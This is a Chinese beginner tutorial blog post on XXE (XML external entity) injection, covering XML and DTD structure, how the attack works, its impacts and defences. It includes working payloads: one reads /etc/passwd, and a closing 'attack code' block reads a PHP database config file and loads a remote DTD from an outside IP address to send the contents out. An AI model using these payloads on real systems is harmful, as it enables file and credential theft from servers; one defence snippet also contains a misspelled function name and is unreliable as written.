web安全入门(第九章-1)xxe实体注入

一、什么是XXE

1,本质
		简单的说,就是XML外部实体注入攻击
		
		分解一下
				注入:将用户输入的内容当作代码执行
			 sql注入:将用户输入的内容当作sql代码执行
			
				XML:
						一种类似HTML的语言,
						主要是存储传输数据的,
						没有预定义标签
				实体:	
						简单的理解为变量,可以存储一些东西
		
		总结:XXE,就是XML引用的数据当作代码被执行,
						即XML外部实体注入攻击

	典型的攻击如下:
			<?xml version="1.0" encoding="ISO-8859-1">	XML声明
			<!DOCTYPE foo>[
			<!ELEMENT foo ANY>							DTD部分:实体用于定义应用普通文本或特殊字符的快捷方式的变量,,实体引用是对实体的引用,实体可在内部或外部进行声明。
			<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
			<foo>&xxe;</foo>							XML部分
			定义实体必须写在DTD部分。
			DTD是定义XML变量,可以实现远程调用。

二、XML结构

什么是xml

实际就是储存数据的。
什么是XML?
	1.XML指可扩展标记语言
	2.XML是一种标记语言,很类似HTML。
	3.XML的设计宗旨是传输数据,而非显示数据
	4.XML标签没有被预定义,需要自行定义标签。
	5.XML被设计为具有自我描述性。
	6.XML是W3C的推荐标准。
特点:
	1.XML仅仅是纯文本,它不会做任何事情。
	2.XML可以自己发明标签(允许定义自己的标签和文档结构)
	3.XML无所不在,XML是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行

1,结构:
		第一部分是声明,主要定义XML使用版本和使用编码
		第二部分是DTD部分,主要是约束作用,简单的说,给内容部分定规矩
				DTD约束的三种形式即:
					  内部DTD:<!DOCTYPE 根节点  [DTD的代码]>
					  外部DTD:<!DOCTYPE 根节点 "DTD的地址">
					  网络DTD:<!DOCTYPE 根节点 PUBLIC  "DTD的名称"  "DTD的地址">
		第三部分是内容

2,直接上例子:
		//外部DTD:
			<?xml version="1.0" encoding="UTF-8"?>
			<!DOCTYPE书架  SYSTEM "book.dtd">
			<书架>
					<书>
							<书名>葵花宝典</书名>
							<作者>东方不败</作者>
							<售价>88.00元</售价>
					</书>
			</书架>
		
		//内部DTD:
			<?xml version="1.0" encoding="UTF-8"?>					
			<!DOCTYPE 书架 [
					<!ELEMENT 书架 (书+)>
					<!ELEMENT 书 (书名,作者,售价)>
					<!ELEMENT 书名 (#PCDATA)>
					<!ELEMENT 作者 (#PCDATA)>
					<!ELEMENT 售价 (#PCDATA)>
			]>
			<书架>
					<书>
							<书名>葵花宝典</书名>
							<作者>东方不败</作者>
							<售价>88.00元</售价>
					</书>
					。。。
			</书架>

三、XXE原理

1,工具过程原理
	DTD部分去读取敏感的信息
	将读取到的信息赋值到实体当中		//实体名字随便起
	XML部分使用的过程中,将实体内容输出

2,补充
	XML本身没有危害,他就是一个存储数据的;但是在一些动态语言脚本里边,
	例如:php中,它可以利用simplexml_load_string函数,将XML转化为对象
		
		注:Java中什么是类?什么是对象?
				~类就是具备某些共同特征的实体的集合
				~对象就是一个真实世界中的物体
				举例:
						“人”就是一个类,他有吃饭、睡觉的属性,
						而张三这个人,就是“人”这个类的对象
3,不足及解决
	很多时候后端语言解析了XML后其实并不会给你输出,
	难道这样子我们就不能进行XXE了?	
	办法:
			我们可以使用一个类型接收平台一样的接收器。
			XML读取数据然后发送到接受的平台,然后接受平台存储,
			我们再去接受平台查看就可以了。
			
			很类似反弹注入
	步骤:
			公网上建一个web环境 [1.xml 2.php 3.txt]
				1.xml 负责 读取我们想要的内容
				2.php 负责收集1.xml的传参,并将参数内容保存到3.txt中
				3.txt 保存传参数据,方便我们查看

四、实战注意

1,
	黑盒比较难挖掘
	白盒审计较容易
	平时挖掘src时,比较少
	但是,扫描器漏扫一些网站较为容易扫出
	

2,危害
	~读取任意文件
	~执行系统命令
	~探测内网端口
	~攻击内网网站
	~导致DDos攻击

3,防御
	~使用开发语言提供的禁用外部实体的方法
		如:PHP:
				libxml_disable_loader(ture);
				
			其他语言:
				https://owasp.org/www-project-cheat-sheets/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
		
	~过滤用户提交的XML数据
		
		关键词:SYSTEM和PUBLIC

XXE-防御:

方案一:
	使用开发语言提供的禁用外部实体的方法。
	php:libxml_disable_entity_loader(true);
方案二:
	过滤用户提交的xml数据
	关键词:不允许出现SYSTEM和PUBUC。

攻击代码

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8014/xxe/1.xml"> 
%remote;
%send; 
]>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值